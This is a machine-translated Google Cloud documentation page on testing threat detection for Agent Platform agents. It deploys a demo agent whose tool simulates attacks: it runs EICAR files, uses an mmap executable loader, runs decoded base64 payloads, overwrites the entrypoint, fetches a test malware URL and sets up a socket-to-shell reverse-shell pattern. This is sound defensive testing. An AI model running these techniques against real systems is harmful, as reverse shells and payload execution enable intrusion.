Google verwendet KI-Technologie, um Inhalte in Ihre bevorzugte Sprache zu übersetzen. KI-Übersetzungen können Fehler enthalten.

Bedrohungserkennung für Agent Platform testen

Auf dieser Seite wird erläutert, wie Sie prüfen können, ob die Bedrohungserkennung für die Agent Platform funktioniert, indem Sie Detektoren auslösen und auf Ergebnisse prüfen. Die Bedrohungserkennung für die Agent Platform ist ein integrierter Dienst von Security Command Center.

Hinweis

Wenn Sie potenzielle Bedrohungen für Ihre Agent Runtime-Agents erkennen möchten, muss der Dienst Bedrohungserkennung für die Agent Platform aktiviert sein in Security Command Center.

Umgebung einrichten

Wenn Sie die Bedrohungserkennung für die Agent Platform testen möchten, richten Sie einen Demo-Agent ein, der schädliche Aktivitäten simuliert.

Projekt erstellen und Shell aktivieren

Wählen Sie ein Google Cloud Projekt für Tests aus oder erstellen Sie eines.

Zum Testen von Detektoren können Sie die Google Cloud Console und Cloud Shell verwenden.

Rufen Sie die Google Cloud Console auf.

Rufen Sie die Google Cloud Console auf.
Wählen Sie das Projekt aus, das Sie zum Testen verwenden möchten.
Klicken Sie auf Cloud Shell aktivieren.

Sie können die Testanleitung auch über eine lokale Shell ausführen.

Agent Runtime einrichten

Wenn Sie Agent Runtime in diesem Projekt noch nicht verwendet haben, richten Sie die Agent Runtime Umgebung ein, bevor Sie beginnen. Notieren Sie sich den Namen des von Ihnen erstellten Cloud Storage-Staging-Buckets. Wir empfehlen Ihnen außerdem, die Kurzanleitung für Agent Runtime zu lesen, um zu erfahren, wie Sie mit dem Vertex AI SDK einen Agent entwickeln und bereitstellen.

Testskript erstellen

Sie erstellen mehrere Dateien, die zum Bereitstellen eines neuen Agents für Tests verwendet werden. Verwenden Sie dazu einen Texteditor wie nano.

Erstellen Sie eine neue Datei mit dem Namen requirements.txt und dem folgenden Inhalt.

google-cloud-aiplatform[agent_engines]
google-adk
google-genai
aiohttp
cloudpickle
pydantic

Erstellen Sie eine neue leere Datei mit dem Namen installation_scripts/install.sh. Für einige Tests muss dieser Datei Inhalt hinzugefügt werden.

Erstellen Sie eine neue Datei mit dem Namen main.py und dem folgenden Inhalt. Ersetzen Sie die Variablen PROJECT_ID, LOCATION und STAGING_BUCKET. Der Name des Staging-Buckets muss das Präfix gs:// enthalten.

import asyncio
import os
import subprocess
import socket
import vertexai
from vertexai import Client, agent_engines
from google.adk.agents import llm_agent
from google.adk.sessions.in_memory_session_service import InMemorySessionService

# Replace with your own project, location, and staging bucket.
LOCATION = "LOCATION"
PROJECT_ID = "PROJECT_ID"
# Staging bucket must have gs:// prefix
STAGING_BUCKET = "STAGING_BUCKET"

client = Client(project=PROJECT_ID, location=LOCATION)

def _run_command(args, **kwargs):
  output = f"Called {' '.join(args)}\n"
  try:
    res = subprocess.run(args, capture_output=True, text=True, **kwargs)
    if res.stdout:
      output += f"Result: {res.stdout.strip()}\n"
    if res.stderr:
      output += f"Error: {res.stderr.strip()}\n"
  except subprocess.TimeoutExpired:
    output += "Command timed out as expected."
  return output

# Tool to simulate threats. The function body will be replaced for individual
# detector tests.
def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["echo", "this is a fake threat"])
  output += _run_command(["sleep", "10"])
  return output

root_agent = llm_agent.Agent(
    model="gemini-2.5-flash",
    name="threat_detection_test_agent",
    description="Runs threat detection test.",
    instruction="""
      You are an agent that runs a threat detection test using a fake malicious
      command.
    """,
    tools=[threat_detection_test],
)

async def main():
  vertexai.init(
    project=PROJECT_ID,
    location=LOCATION,
    staging_bucket=STAGING_BUCKET,
  )
  app = agent_engines.AdkApp(
      agent=root_agent, session_service_builder=InMemorySessionService
  )
  remote_agent = client.agent_engines.create(
      agent=app,
      config={
          "display_name": "scc_threat_test_agent",
          "identity_type": vertexai.types.IdentityType.AGENT_IDENTITY,
          "requirements": [
              "google-cloud-aiplatform[agent_engines,adk]",
              "cloudpickle",
              "pydantic",
          ],
          "staging_bucket": STAGING_BUCKET,
          "extra_packages": [
              "installation_scripts/install.sh",
          ],
      },
  )
  print("Deployed agent: ", remote_agent.api_resource.name)

  try:
      async for event in remote_agent.async_stream_query(
          user_id="threat_detection_tester",
          message="Run the threat detection test",
      ):
        print(event)
  finally:
      client.agent_engines.delete(name=remote_agent.api_resource.name, force=True)

if __name__ == "__main__":
  asyncio.run(main())

Virtuelle Umgebung einrichten

Erstellen und aktivieren Sie eine virtuelle Python-Umgebung.
```
  python3 -m venv env
  source env/bin/activate
```
Installieren Sie die erforderlichen Abhängigkeiten in der virtuellen Umgebung.
```
pip install -r requirements.txt
```

Skript testen

Führen Sie das Skript in der virtuellen Umgebung mit python3 main.py aus. Es dauert einige Minuten, bis der Test-Agent erstellt, bereitgestellt und ausgeführt wird.

Das Skript gibt den Ressourcennamen des bereitgestellten Agents und einige JSON-Objekte aus, darunter eine LLM-Antwort und andere Metadaten. Wenn in dieser Phase Berechtigungs- oder Bereitstellungsfehler auftreten, finden Sie unter Fehlerbehebung die nächsten Schritte.

Detektoren testen

Wenn Sie Detektoren für die Bedrohungserkennung für die Agent Platform testen möchten, ersetzen Sie den Code in der Funktion threat_detection_test durch Code, der einen Angriff simuliert. Es kann lange dauern, bis das Skript den Agent bereitstellt und abfragt. Um Tests zu beschleunigen, können Sie den Inhalt mehrerer dieser Funktionen kombinieren.

Ausführung: Hinzugefügtes schädliches Binärprogramm ausgeführt

Ersetzen Sie die Funktion threat_detection_test im Testskript und führen Sie das Testskript aus.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  eicar = r"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
  output += _run_command(["touch", "/tmp/test_mal_file"])
  with open("/tmp/test_mal_file", "w") as f:
    f.write(eicar)
  output += _run_command(["chmod", "700", "/tmp/test_mal_file"])
  output += _run_command(["sh", "-c", "/tmp/test_mal_file"])
  output += _run_command(["sleep", "10"])
  return output

Ausführung: Hinzugefügte schädliche Bibliothek geladen

Ersetzen Sie die Funktion threat_detection_test im Testskript und führen Sie das Testskript aus. Möglicherweise wird vom Vertex AI SDK ein Fehler beim Parsen der Antwort angezeigt, aber das Ergebnis wird trotzdem generiert.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  eicar = r"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
  with open("/tmp/test_mal_lib", "w") as f:
    f.write(eicar)
  with open("/tmp/loader.c", "w") as f:
    f.write("""
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         struct stat sb;
         fstat(fd, &sb);
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
    """)
  output += _run_command(["gcc", "/tmp/loader.c", "-o", "/tmp/loader"])
  output += _run_command(["/tmp/loader", "/tmp/test_mal_lib"])
  output += _run_command(["sleep", "10"])
  return output

Ausführung: Container-Escape

Ersetzen Sie die Funktion threat_detection_test im Testskript und führen Sie das Testskript aus.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["cp", "/bin/ls", "/tmp/botb-linux-amd64"])
  output += _run_command(["chmod", "700", "/tmp/botb-linux-amd64"])
  output += _run_command(["/tmp/botb-linux-amd64", "-autopwn"])
  output += _run_command(["sleep", "10"])
  return output

Ausführung: Kubernetes Attack Tool Execution

Ersetzen Sie die Funktion threat_detection_test im Testskript und führen Sie das Testskript aus.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["cp", "/bin/ls", "/tmp/amicontained"])
  output += _run_command(["/tmp/amicontained"])
  output += _run_command(["sleep", "10"])
  return output

Ausführung: Ausführung eines lokalen Ausspähtools

Ersetzen Sie die Funktion threat_detection_test im Testskript und führen Sie das Testskript aus.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["cp", "/bin/ls", "/tmp/linenum.sh"])
  output += _run_command(["/tmp/linenum.sh"])
  output += _run_command(["sleep", "10"])
  return output

Ausführung: Geändertes schädliches Binärprogramm ausgeführt

Replace the `threat_detection_test` function in the test script, and then run the
test script.

```python
def threat_detection_test():
    eicar = r"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
    output = _run_command(["sleep", "60"])
    output += _run_command(["chmod", "-R", "777", "/code"])
    with open("/code/entrypoint.sh", "w") as f:
f.write(eicar)

output += _run_command(["chmod", "700", "/code/entrypoint.sh"]) output += _run_command(["sh", "-c", "/code/entrypoint.sh"]) output += _run_command(["sleep", "10"]) return output ```

Ausführung: Geänderte schädliche Bibliothek geladen

Ersetzen Sie die Funktion threat_detection_test im Testskript und führen Sie das Testskript aus.

def threat_detection_test():
  eicar = r"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
  output = _run_command(["sleep", "60"])
  output += _run_command(["chmod", "-R", "777", "/code"])
  with open("/code/entrypoint.sh", "w") as f:
    f.write(eicar)
  with open("/tmp/loader.c", "w") as f:
    f.write("""
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         struct stat sb;
         fstat(fd, &sb);
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
    """)
  output += _run_command(["gcc", "/tmp/loader.c", "-o", "/tmp/loader"])
  output += _run_command(["/tmp/loader", "/code/entrypoint.sh"])
  output += _run_command(["sleep", "10"])
  return output

Ausführung: Hinzugefügter schädlicher Skill ausgeführt

Diese Erkennungen der Ausführung schädlicher Skills unterscheiden sich leicht von anderen Detektoren. Anstatt die Logik vollständig in threat_detection_test zu definieren, umschließen Sie threat_detection_test in einer Python-Factory-Funktion. Das Python-Toolskript lädt eine Testnutzlast mit einer Umgebungsvariablen B64_PAYLOAD, anstatt sie fest in das Skript zu codieren. Achten Sie darauf, dass Sie B64_PAYLOAD in Ihrem Shell-Terminal exportieren.

export B64_PAYLOAD=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)

Ersetzen Sie die Funktion threat_detection_test in der Testanleitung durch die folgende Funktion create_threat_tool. Aktualisieren Sie den Skriptinitialisierungscode unten im Skript, um dieses Tool korrekt aufzurufen und local_payload zu übergeben.

import base64
def create_threat_tool(injected_payload):
    def threat_tool():
        """Runs a threat detection test by writing and executing a base64 encoded payload."""
        output = _run_command(["sleep", "60"])
        test_file = "/tmp/tmp_mal_file"

        b64_payload_str = injected_payload
        b64_payload = b64_payload_str.encode('utf-8')

        decoded_content = base64.b64decode(b64_payload)
        with open(test_file, "wb") as f:
            f.write(decoded_content)

        output += _run_command(["chmod", "700", test_file])
        output += _run_command(["sh", "-c", test_file])
        output += _run_command(["sleep", "10"])
        output += _run_command(["sha256sum", test_file])
        output += _run_command(["rm", test_file])

        return output

    return threat_tool

if __name__ == "__main__":
  local_payload = os.environ.get("B64_PAYLOAD")

  if not local_payload:
      raise ValueError("Local B64_PAYLOAD environment variable is missing. Export it first.")

  threat_tool_instance = create_threat_tool(local_payload)

  root_agent = llm_agent.Agent(
      model="gemini-2.5-flash",
      name="threat_detection_test_agent",
      description="Runs threat detection test.",
      instruction="""
        You are an agent that runs multiple threat detection tests using a fake malicious
        command.
      """,
      tools=[
        threat_tool_instance,
      ],
  )
  asyncio.run(main())

Ausführung: Geänderter schädlicher Skill ausgeführt

Ersetzen Sie die Funktion threat_detection_test in der Testanleitung durch die folgende Funktion create_modified_threat_tool. Ersetzen Sie den Skriptinitialisierungscode unten im Skript, um dieses Tool korrekt aufzurufen und local_payload zu übergeben, wie im folgenden Beispiel gezeigt.

import base64
def create_modified_threat_tool(injected_payload):
    def modified_threat_tool():
        """Runs a threat detection test by modifying an existing file with a decoded payload and executing it."""
        output = _run_command(["sleep", "60"])
        target_file = "/code/entrypoint.sh"

        b64_payload_str = injected_payload
        b64_payload = b64_payload_str.encode('utf-8')

        output += _run_command(["chmod", "777", target_file])

        decoded_content = base64.b64decode(b64_payload)

        with open(target_file, "wb") as f:
            f.write(decoded_content)

        output += _run_command(["chmod", "700", target_file])
        output += _run_command(["sh", "-c", target_file])
        output += _run_command(["sleep", "10"])

        return output

    return modified_threat_tool

if __name__ == "__main__":
  local_payload = os.environ.get("B64_PAYLOAD")

  if not local_payload:
      raise ValueError("Local B64_PAYLOAD environment variable is missing. Export it first.")

  threat_tool_instance = create_modified_threat_tool(local_payload)

  root_agent = llm_agent.Agent(
      model="gemini-2.5-flash",
      name="threat_detection_test_agent",
      description="Runs threat detection test.",
      instruction="""
        You are an agent that runs multiple threat detection tests using a fake malicious
        command.
      """,
      tools=[
        threat_tool_instance,
      ],
  )
  asyncio.run(main())

Ausführung: Hinzugefügter schädlicher Skill geladen

Ersetzen Sie die Funktion threat_detection_test in der Testanleitung durch die folgende Funktion create_threat_library. Ersetzen Sie den Skriptinitialisierungscode unten im Skript, um dieses Tool korrekt aufzurufen und local_payload zu übergeben, wie im folgenden Beispiel gezeigt.

import base64
def create_threat_library(injected_payload):
    def threat_library():
        """Simulates loading a malicious library using mmap PROT_EXEC."""
        output = _run_command(["sleep", "60"])
        test_lib_file = "/tmp/test_mal_lib"
        loader_source = "/tmp/loader.c"
        loader_bin = "/tmp/loader"

        b64_payload_str = injected_payload
        b64_payload = b64_payload_str.encode('utf-8')

        c_loader_code = """
        #include <fcntl.h>
        #include <sys/mman.h>
        #include <sys/stat.h>
        #include <unistd.h>
        #include <stdlib.h>
        int main(int argc, char *argv[]) {
            int fd = open(argv[1], O_RDONLY);
            if (fd == -1) return 1;
            struct stat sb;
            if (fstat(fd, &sb) == -1) return 1;
            void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
            if (addr == MAP_FAILED) return 1;
            write(1, addr, sb.st_size);
            munmap(addr, sb.st_size);
            close(fd);
            return 0;
        }
        """

        decoded_content = base64.b64decode(b64_payload)

        with open(test_lib_file, "wb") as f:
            f.write(decoded_content)

        with open(loader_source, "w") as f:
            f.write(c_loader_code)

        output += _run_command(["gcc", loader_source, "-o", loader_bin])
        output += _run_command([loader_bin, test_lib_file])
        output += _run_command(["sleep", "10"])

        for f_path in [test_lib_file, loader_source, loader_bin]:
            if os.path.exists(f_path):
                output += _run_command(["rm", f_path])

        return output

    return threat_library

if __name__ == "__main__":
  local_payload = os.environ.get("B64_PAYLOAD")

  if not local_payload:
      raise ValueError("Local B64_PAYLOAD environment variable is missing. Export it first.")

  threat_tool_instance = create_threat_library(local_payload)

  root_agent = llm_agent.Agent(
      model="gemini-2.5-flash",
      name="threat_detection_test_agent",
      description="Runs threat detection test.",
      instruction="""
        You are an agent that runs multiple threat detection tests using a fake malicious
        command.
      """,
      tools=[
        threat_tool_instance,
      ],
  )
  asyncio.run(main())

Ausführung: Geänderter schädlicher Skill geladen

Ersetzen Sie die Funktion threat_detection_test in der Testanleitung durch die folgende Funktion create_modified_threat_library. Ersetzen Sie den Skriptinitialisierungscode unten im Skript, um dieses Tool korrekt aufzurufen und local_payload zu übergeben, wie im folgenden Beispiel gezeigt.

import base64
def create_modified_threat_library(injected_payload):
    def modified_threat_library():
        """Simulates loading a modified existing binary as a library using mmap PROT_EXEC."""
        output = _run_command(["sleep", "60"])
        target_file = "/code/entrypoint.sh"
        loader_source = "/tmp/loader.c"
        loader_bin = "/tmp/loader"

        b64_payload_str = injected_payload
        b64_payload = b64_payload_str.encode('utf-8')

        c_loader_code = """
        #include <fcntl.h>
        #include <sys/mman.h>
        #include <sys/stat.h>
        #include <unistd.h>
        #include <stdlib.h>
        int main(int argc, char *argv[]) {
            int fd = open(argv[1], O_RDONLY);
            if (fd == -1) return 1;
            struct stat sb;
            if (fstat(fd, &sb) == -1) return 1;
            void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
            if (addr == MAP_FAILED) return 1;
            write(1, addr, sb.st_size);
            munmap(addr, sb.st_size);
            close(fd);
            return 0;
        }
        """

        output += _run_command(["chmod", "777", target_file])

        decoded_content = base64.b64decode(b64_payload)

        with open(target_file, "wb") as f:
            f.write(decoded_content)

        with open(loader_source, "w") as f:
            f.write(c_loader_code)

        output += _run_command(["gcc", loader_source, "-o", loader_bin])
        output += _run_command([loader_bin, target_file])
        output += _run_command(["sleep", "10"])

        for f_path in [loader_source, loader_bin]:
            if os.path.exists(f_path):
                output += _run_command(["rm", f_path])

        return output

    return modified_threat_library

if __name__ == "__main__":
  local_payload = os.environ.get("B64_PAYLOAD")

  if not local_payload:
      raise ValueError("Local B64_PAYLOAD environment variable is missing. Export it first.")

  threat_tool_instance = create_modified_threat_library(local_payload)

  root_agent = llm_agent.Agent(
      model="gemini-2.5-flash",
      name="threat_detection_test_agent",
      description="Runs threat detection test.",
      instruction="""
        You are an agent that runs multiple threat detection tests using a fake malicious
        command.
      """,
      tools=[
        threat_tool_instance,
      ],
  )
  asyncio.run(main())

Schädliche URL beobachtet

Aktualisieren Sie die Datei installation_scripts/install.sh mit dem folgenden Inhalt.

#!/bin/bash
apt-get install -y curl --no-install-recommends

Ersetzen Sie die Funktion threat_detection_test im Testskript und führen Sie das Testskript aus.

def threat_detection_test():
  url = "https://testsafebrowsing.appspot.com/s/malware.html"
  output = _run_command(["sleep", "60"])
  output += _run_command(["curl", url])
  output += _run_command(["sleep", "10"])
  return output

Reverse Shell

Ersetzen Sie die Funktion threat_detection_test im Testskript und führen Sie das Testskript aus.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["cp", "/bin/echo", "/tmp/sh"])
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect(("8.8.8.8", 53))
  subprocess.run(["/tmp/sh"], stdin=s, stdout=s, stderr=s, timeout=5)
  output += _run_command(["sleep", "10"])
  return output

Nächste Schritte

Weitere Informationen zur Bedrohungserkennung für die Agent Platform.
Bedrohungserkennung für die Agent Platform verwenden .

Bedrohungserkennung für Agent Platform testen Mit Sammlungen den Überblick behalten Sie können Inhalte basierend auf Ihren Einstellungen speichern und kategorisieren.

Hinweis

Umgebung einrichten

Projekt erstellen und Shell aktivieren

Agent Runtime einrichten

Testskript erstellen

Virtuelle Umgebung einrichten

Skript testen

Detektoren testen

Ausführung: Hinzugefügtes schädliches Binärprogramm ausgeführt

Ausführung: Hinzugefügte schädliche Bibliothek geladen

Ausführung: Container-Escape

Ausführung: Kubernetes Attack Tool Execution

Ausführung: Ausführung eines lokalen Ausspähtools

Ausführung: Geändertes schädliches Binärprogramm ausgeführt

Ausführung: Geänderte schädliche Bibliothek geladen

Ausführung: Hinzugefügter schädlicher Skill ausgeführt

Ausführung: Geänderter schädlicher Skill ausgeführt

Ausführung: Hinzugefügter schädlicher Skill geladen

Ausführung: Geänderter schädlicher Skill geladen

Schädliche URL beobachtet

Reverse Shell

Nächste Schritte

Bedrohungserkennung für Agent Platform testen